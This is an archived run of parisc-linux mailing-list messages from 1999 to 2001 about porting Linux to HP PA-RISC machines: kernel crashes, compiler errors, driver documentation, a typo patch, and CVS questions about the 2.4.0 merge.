On Wed, Jan 24, 2001 at 10:35:52AM -0500, Phillip D. Beal wrote:
> On Wed, Jan 24, 2001 at 10:55:08AM +0000, Richard Hirst wrote:
> > On Mon, Jan 22, 2001 at 10:49:12AM -0500, Phillip D. Beal wrote:
> > > Hey,
> > > 
> > > I've been playing around with the 715 I got to boot, and I've found an
> > > odd occurance.  If I open an existing file with vi, and hit escape the
> > > kernel crashes.  It doesn't matter if the file is locally or on a remote
> > > system it does it either way.  So, I remeber the instructions from the
> > > PA-Linux 0.1 CD saying the kernel isn't useing the swap space yet.  Is
> > > this still true? I know the problem is not vi because the kernel dies
> > > even if I use vi on the remote system.  The PARISC system dies when I go
> > > to hit ESC to exit insert mode of vi.
> > 
> > I don't recall ever seeing that problem on my 715/75.  What kernel and
> > userspace are you using?
> 
> A build from the 20010109 CVS that I downloaded via CVS.  However, I'm
> still using the filesystem from tha palinux-0.5 CD.  the problem only
> happens when I use the physical console on the 715/80.  If I use the
> Serial login, the kernel does not die.

Ah, ok.  I only have serial consoles here, so I can't try and reproduce
that.  Hope someone else responds...

Richard


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jcarlson@macalester.edu
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Almost there...(for you guys running MPICH)
Date: Wed, 24 Jan 2001 14:33:33 -0600
Lines: 18
Approved: news@gmane.org
Message-ID: <20460664.3189335613@chem42.chem.macalester.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619588 11269 80.91.229.3 (22 Nov 2014 01:26:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: patofiero@home.com
Original-X-From: jcarlson@macalester.edu  Wed Jan 24 13:07:55 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA18677
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 13:07:54 -0700
Original-Received: (qmail 28063 invoked by uid 15267); 24 Jan 2001 20:11:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28052 invoked from network); 24 Jan 2001 20:11:49 -0000
Original-Received: from apollo.cc.macalester.edu (141.140.1.2)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 20:11:49 -0000
Original-Received: from chem42.chem.macalester.edu ([141.140.46.42])
 by macalester.edu (PMDF V5.2-32 #38670)
 with ESMTP id <01JZAE0H78I20026KW@macalester.edu> for
 parisc-linux@thepuffingroup.com; Wed, 24 Jan 2001 14:11:48 CDT
Originator-info: login-id=jcarlson; server=imap.macalester.edu
X-Mailer: Mulberry (MacOS) [1.4.4, s/n S-399060]
Content-disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9375

Alright...
Got nearly everything working *smile*...
Current installation:
Cdrom .5 image on hard drive
base.tgz extracted
ftp.deb installed
nfsroot from October 9, 2000
glibc from October 5, 2000
(library paths now correct)

After a 45 minute seemingly successful configure, and an unknown lengthed
make, I see a few errors at the end, numbered 1 and 2.
I was curious as to if anyone else was having a similar problem.

Thank you,
 - Josiah



From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@suse.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Building the Bootloader
Date: Tue, 1 Jun 1999 21:31:57 +0200
Lines: 6
Approved: news@gmane.org
Message-ID: <19990601213157.A12837@suse.de>
References: <19990601191800.C25364@suse.de> <199906011805.OAA25752@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619588 11271 80.91.229.3 (22 Nov 2014 01:26:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:28 +0000 (UTC)
Cc: cjbeard@istar.ca, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: prumpf@suse.de  Tue Jun  1 13:32:02 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id NAA10367
	for <parisc-linux@puffin.external.hp.com>; Tue, 1 Jun 1999 13:32:00 -0600
Original-Received: (qmail 910 invoked by uid 15267); 1 Jun 1999 19:31:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 902 invoked from network); 1 Jun 1999 19:31:17 -0000
Original-Received: from cantor.suse.de (194.112.123.193)
  by mailserv2.iuinc.com with SMTP; 1 Jun 1999 19:31:17 -0000
Original-Received: from Galois.suse.de (Galois.suse.de [194.112.123.130])
	by Cantor.suse.de (Postfix) with ESMTP
	id 3A08532CE6; Tue, 01 Jun 1999 21:31:58 +0200 (MEST)
Original-Received: from Wotan.suse.de (Wotan.suse.de [10.10.0.1])
	by Galois.suse.de (Postfix) with ESMTP
	id 318AC9411; Tue,  1 Jun 1999 21:31:58 +0200 (MEST)
Original-Received: by Wotan.suse.de (Postfix, from userid 0)
	id 19DA07F8B; Tue,  1 Jun 1999 21:31:58 +0200 (MEST)
X-Mailer: Mutt 0.95.4i
In-Reply-To: <199906011805.OAA25752@hiauly1.hia.nrc.ca>; from John David Anglin on Tue, Jun 01, 1999 at 02:05:08PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:9376

> I think that I may have been able to successfully cross compile ipl to an
> elf binary with text starting at offset 0.  Note that this requires that

offset 0 sounds bad as we may not corrupt page 0 (the PDC puts some data we
need there).


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C100 and newest CVS bits
Date: Wed, 24 Jan 2001 12:22:06 -0800
Lines: 13
Approved: news@gmane.org
Message-ID: <200101242022.MAA21224@milano.cup.hp.com>
References: <20010124191457.H3571@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619588 11275 80.91.229.3 (22 Nov 2014 01:26:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Wed Jan 24 13:16:18 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA19064
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 13:16:17 -0700
Original-Received: (qmail 10143 invoked by uid 15267); 24 Jan 2001 20:20:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10062 invoked from network); 24 Jan 2001 20:20:06 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 20:20:06 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id 13D65EC5; Wed, 24 Jan 2001 12:20:04 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA21224;
	Wed, 24 Jan 2001 12:22:09 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 24 Jan 2001 19:14:57 PST."
             <20010124191457.H3571@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:9377

Richard Hirst wrote:

> I cant explain
> why it used to work though, unless previous versions of ccio-dma.c
> handled zero length requests differently.

cvs log of ccio-dma.c explains:
revision 1.21
date: 2001/01/16 03:19:50;  author: rbrad;  state: Exp;  lines: +857 -457
...
- Added support so the ASSERTS actually work.



From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@dot.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] One more step: Interruption (trap) 18 on 9000/720
Date: Wed, 24 Jan 2001 22:14:12 +0100
Organization: private
Lines: 59
Approved: news@gmane.org
Message-ID: <3A6F45A4.2613587@dot.at>
References: <200101241650.IAA20897@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619589 11278 80.91.229.3 (22 Nov 2014 01:26:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:29 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@alcatel.at>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: christoph.plattner@dot.at  Wed Jan 24 14:13:42 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA19758
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 14:13:42 -0700
Original-Received: (qmail 11018 invoked by uid 15267); 24 Jan 2001 21:17:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10991 invoked from network); 24 Jan 2001 21:17:31 -0000
Original-Received: from dns2.dot.at (212.9.128.3)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 21:17:31 -0000
Original-Received: from dot.at (IDENT:plattner@dot-tc01-031.dot.at [212.9.128.71])
	by dns2.dot.at (8.9.3/8.9.2) with ESMTP id WAA12628;
	Wed, 24 Jan 2001 22:22:13 +0100
Original-Sender: plattner@dns2.dot.at
X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.18 i586)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9378

Hello, again.

What does this `SPIFI' mean?
Is this a name of a person, or a technical expression, ... ?

I read something at the E55 of "undocumented drivers" and so
on, but I hoped somebody has a solution, and I myself am interested
in helping writing drivers for that E55, as I really want to use
it inclusive all 8 serial ports and SCSI !

With friendly regards
	Christoph




Grant Grundler wrote:
> 
> Christoph Plattner wrote:
> > Further, can you tell me, how to use and where I can find
> > the kernel debugger stuff.
> 
> There is no kernel debugger (yet). I started working on one last year
> based on "KWDB" from HPUX. I've added the kernel hooks (CONFIG_KWDB).
> But I (a) didn't get it working and (b) didn't get permission to publish
> the KWDB base. My advice is for someone to take the SGI KDB and make it
> work for parisc-linux and changing CONFIG_KWDB to CONFIG_KDB.
> 
> ...
> > And now a very important question:
> > ---------------------------------
> >
> > You seem to be the right man asking this. I also have an
> > E55 server (9000/856) with those propriatary HP interfaces.
> > For me the SCSI controller and the 8-port serial multiplxer
> > (used for serial console on port-0) are the important
> > key points. Is there no possibility to get them running ??
> > Is there really no documentation, etc...
> 
> This is explained in the FAQ or HWDB "introduction" someplace.
> Someone *in* HP has to care enough to review the documentation
> and get it past the lawyers. I don't. Search the parisc-linux
> mail archive for "SPIFI" if you want more...
> 
> grant
> 
> Grant Grundler
> Unix Systems Enablement Lab
> +1.408.447.7253
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.

-- 
-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Paul J.Y. Lahaie" <pjlahaie@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Weird compile problems
Date: Wed, 24 Jan 2001 16:28:13 -0500
Lines: 65
Approved: news@gmane.org
Message-ID: <20010124162813.G19066@achilles.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-md5;
	protocol="application/pgp-signature"; boundary="df+09Je9rNq3P+GE"
X-Trace: ger.gmane.org 1416619589 11284 80.91.229.3 (22 Nov 2014 01:26:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pjlahaie@produce.com  Wed Jan 24 14:23:52 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA20142
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 14:23:51 -0700
Original-Received: (qmail 29803 invoked by uid 15267); 24 Jan 2001 21:27:46 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29774 invoked from network); 24 Jan 2001 21:27:45 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost.localdomain) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 24 Jan 2001 21:27:45 -0000
Original-Received: (from pjlahaie@localhost)
	by localhost.localdomain (8.11.0/8.11.0) id f0OLSDn21132
	for parisc-linux@thepuffingroup.com; Wed, 24 Jan 2001 16:28:13 -0500
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Xref: news.gmane.org gmane.linux.ports.parisc:9379


--df+09Je9rNq3P+GE
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello everyone,

I'm in the process of trying to get a working apt (still) and I'm getting
the following with the latest kernel (updated this morning) and the
toolchain from nfsroot-20010118.  The system is a C360 with 256MB of RAM.

Compiling deb/debindexfile.cc to /home/pjlahaie/src/apt/build/obj/apt-pkg/d=
ebindexfile.opic
deb/debindexfile.cc: In member function `string debSourcesIndex::SourceInfo=
=20
   (const pkgSrcRecords::Parser &, const pkgSrcRecords::File &) const':
deb/debindexfile.cc:62: Basic block 57 pred edge is corrupted
Predecessor:  14
Successor:  1075043236
deb/debindexfile.cc:62: Basic block 57 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 55 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 53 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 47 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 44 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 41 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 39 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 31 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 28 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 26 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 21 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 19 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 14 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 10 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 7 edge lists are corrupted
deb/debindexfile.cc:62: Basic block 1 edge lists are corrupted
deb/debindexfile.cc:62: Internal compiler error in , at flow.c:6834
   Please submit a full bug report.
   See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.


Now if I do another make, it will compile fine.  The file is compiled with
the following options:  -g -O -fno-rtti

Is this a kernel problem or a compiler problem?  I can move the build
environment over to an A180 instead.

						- Paul


--df+09Je9rNq3P+GE
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.4 (GNU/Linux)
Comment: For info see http://www.gnupg.org

iD8DBQE6b0js8ggPQthPCzcRAgx4AJ4/DeCkn/ufHY4wVwRdm+yzO9JIpwCeLZSC
fYMXoFgp5eWAGFW7R2xKFmg=
=GDqN
-----END PGP SIGNATURE-----

--df+09Je9rNq3P+GE--


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux-2.4.0
Date: Thu, 25 Jan 2001 00:06:21 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20010125000621.G4836@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619589 11287 80.91.229.3 (22 Nov 2014 01:26:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: willy@www.linux.org.uk  Wed Jan 24 17:02:28 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA25382
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 17:02:28 -0700
Original-Received: (qmail 10152 invoked by uid 15267); 25 Jan 2001 00:06:22 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10139 invoked from network); 25 Jan 2001 00:06:22 -0000
Original-Received: from parcelfarce.linux.theplanet.co.uk (HELO www.linux.org.uk) (195.92.249.252)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 00:06:22 -0000
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14LZvh-0003UK-00
	for parisc-linux@thepuffingroup.com; Thu, 25 Jan 2001 00:06:21 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:9380


i've merged linus' 2.4.0 release into our tree.  it compiles, with fewer
warnings than before.  but some things have been changed in the vm system
i'm not 100% confident with.  so, since i'm not in a position to boot
the 712 right now (lack of networking), i'm checking it in as a branch
called LINUS_240_FIXUP.

the checkin's going a bit slowly, so don't try it just yet, but it should
be done shortly.  those of you on the cvs list will see when it's done.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] typo fix
Date: Wed, 24 Jan 2001 19:03:16 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <3A6F8964.86BA78A2@uswest.net>
References: <Pine.LNX.4.21.0101240943360.25434-100000@maestro.symsys.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619590 11291 80.91.229.3 (22 Nov 2014 01:26:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Greg Ingram <ingram@symsys.com>
Original-X-From: rbradetich@uswest.net  Wed Jan 24 18:59:24 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA29897
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 18:59:23 -0700
Original-Received: (qmail 18069 invoked by uid 15267); 25 Jan 2001 02:03:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18051 invoked from network); 25 Jan 2001 02:03:18 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 02:03:18 -0000
Original-Received: (qmail 83782 invoked by alias); 25 Jan 2001 02:03:17 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 83743 invoked by uid 0); 25 Jan 2001 02:03:16 -0000
Original-Received: from lametoby.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 25 Jan 2001 02:03:16 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.0 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9381

Greg,

I can apply this patch if it really bothers you :)

Otherwise I am hoping to have the hack removed out of the ccio driver
with in a week.  I have already taken it out of my local tree, and just need
to finish up one small part of the I/O tree before committing it.

- Ryan

Greg Ingram wrote:

> That patch I sent last week has a letter O instead of a zero in the 'C100'
> string in the comment.  Only one.  What were my fingers doing?
>
> --- ccio-dma.c.orig     Wed Jan 24 09:39:22 2001
> +++ ccio-dma.c  Wed Jan 24 09:39:38 2001
> @@ -1523,7 +1523,7 @@
>  ** that can't be detected by PA/EISA/PCI bus walks.
>  */
>         switch((unsigned long)d->hpa) {
> -        case 0xf5fbf000L:       /* C1O0 (wild guess!) */
> +        case 0xf5fbf000L:       /* C100 (wild guess!) */
>         case 0xf3fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
>         case 0xf7fbf000L:       /* C110 IOA0 LBC (aka GSC port) */
>         case 0xf203f000L:       /* C180/C200/240/C360 IOA0 LBC (aka GSC port) */
>
> - Greg
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:15:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Wed, 24 Jan 2001 19:46:40 -0800 (PST)
Lines: 54
Approved: news@gmane.org
Message-ID: <200101250346.TAA21555@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619590 11294 80.91.229.3 (22 Nov 2014 01:26:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Wed Jan 24 20:40:54 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA30899
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 20:40:54 -0700
Original-Received: (qmail 30815 invoked by uid 15267); 25 Jan 2001 03:44:49 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30807 invoked from network); 25 Jan 2001 03:44:49 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 03:44:49 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 4466E92E
	for <parisc-linux@thepuffingroup.com>; Wed, 24 Jan 2001 19:44:38 -0800 (PST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id TAA21555
	for parisc-linux@thepuffingroup.com; Wed, 24 Jan 2001 19:46:40 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:9382

Hi Matthew,

I did 'cvs co -D "1/24/2001 09:00 MST" linux' in order to pick
up the bits before the 2.4.0 "First take" commit.

	make distclean
	make oldconfig
	edit .config to set CONFIG_SMP=y
	make oldconfig
	make -j4 dep
	make -j4 palo  (dies with error)

"make palo" dies with:

hppa-linux-gcc -D__KERNEL__ -I/linux/smp64/linux/include -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -fno-strict-aliasing -D__linux__ -pipe -fno-strength-reduce -mno-space-regs -mfast-indirect-calls -mschedule=7200 -mdisable-fpregs -fno-strict-aliasing -ffunction-sections    -c -o tcp_minisocks.o tcp_minisocks.c
tcp_minisocks.c: In function `tcp_timewait_state_process':
tcp_minisocks.c:137: too many arguments to function `tcp_parse_options'
tcp_minisocks.c: In function `tcp_check_req':
tcp_minisocks.c:812: too many arguments to function `tcp_parse_options'
make[3]: *** [tcp_minisocks.o] Error 1
make[3]: Leaving directory `/linux/smp64/linux/net/ipv4'
...


grundler <725>fgrep tcp_minisocks net/ipv4/CVS/Entries 
/tcp_minisocks.c/1.1.1.2/Tue Jan  9 16:56:41 2001/-ko/D2001.01.24.07.00.00

And from the cvs log output:
head: 1.2
...
symbolic names:
	LINUS_240_FIXUP: 1.1.0.2
	LINUS_240_PREMERGE: 1.1
	LINUS_240: 1.1.1.2
	LINUX_240_PREIMPORT: 1.1
...
----------------------------
revision 1.2
date: 2001/01/25 00:03:54;  author: willy;  state: Exp;  lines: +3 -3

Linus 2.4.0 merge (take one)
----------------------------
...


Why am I picking up the LINUS_240 version of this file?
Is "-D" the wrong method to use?

Tried "cvs update -rLINUS_240_PREMERGE" and that seemed to do what
I think I wanted. But backs out a few recent changes. *sigh*.

thanks,
grant


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Ang <mang@subcarrier.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.0 merge mangle our tree?
Date: Wed, 24 Jan 2001 23:19:57 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.10.10101242312100.26332-100000@cuzea.pair.com>
References: <200101250346.TAA21555@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619590 11296 80.91.229.3 (22 Nov 2014 01:26:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:26:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: mang@subcarrier.org  Wed Jan 24 21:16:03 2001
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA31359
	for <parisc-linux@puffin.external.hp.com>; Wed, 24 Jan 2001 21:16:03 -0700
Original-Received: (qmail 1524 invoked by uid 15267); 25 Jan 2001 04:19:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1511 invoked from network); 25 Jan 2001 04:19:58 -0000
Original-Received: from cuzea.pair.com (209.68.1.197)
  by mailserv2.iuinc.com with SMTP; 25 Jan 2001 04:19:58 -0000
Original-Received: (qmail 28049 invoked by uid 3142); 25 Jan 2001 04:19:57 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 25 Jan 2001 04:19:57 -0000
X-Sender: mang@cuzea.pair.com
In-Reply-To: <200101250346.TAA21555@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:9383

On Wed, 24 Jan 2001, Grant Grundler wrote:

> I did 'cvs co -D "1/24/2001 09:00 MST" linux' in order to pick
> up the bits before the 2.4.0 "First take" commit.
>
> [...]
> And from the cvs log output:
> head: 1.2
>
> ...
> symbolic names:
> 	LINUS_240_FIXUP: 1.1.0.2
> 	LINUS_240_PREMERGE: 1.1
> 	LINUS_240: 1.1.1.2
> 	LINUX_240_PREIMPORT: 1.1
> [...]
> 
> Why am I picking up the LINUS_240 version of this file?
> Is "-D" the wrong method to use?

These are all the symbolic names for revisions of this file - your
working version might be any of these or none.  "cvs stat" will tell you
what version you currently have.

Using the date should work if you get it just right, but there should have
been a tag laid down before the merge started for just this purpose.

> Tried "cvs update -rLINUS_240_PREMERGE" and that seemed to do what
> I think I wanted. But backs out a few recent changes. *sigh*.

That seems closer to what you want, but backs out any changes made since
the merge started.  Not sure what the difference between *_PREMERGE and
*_PREIMPORT is - you'd have to ask willy, I guess.

	- Mike.


From - Thu Nov 08 21:15:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Randolph Chung" <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Weird compile problems
Date: Wed, 24 Jan 2001 22:58:35 -0700
Lines: 39
Approved: news@gmane.org
Message-ID: <20010124225835.Q4546@tausq.org>
References: <20010124162813.G19066@achilles.net>
Reply-To: Randolph Chung <randolph@tausq.org>
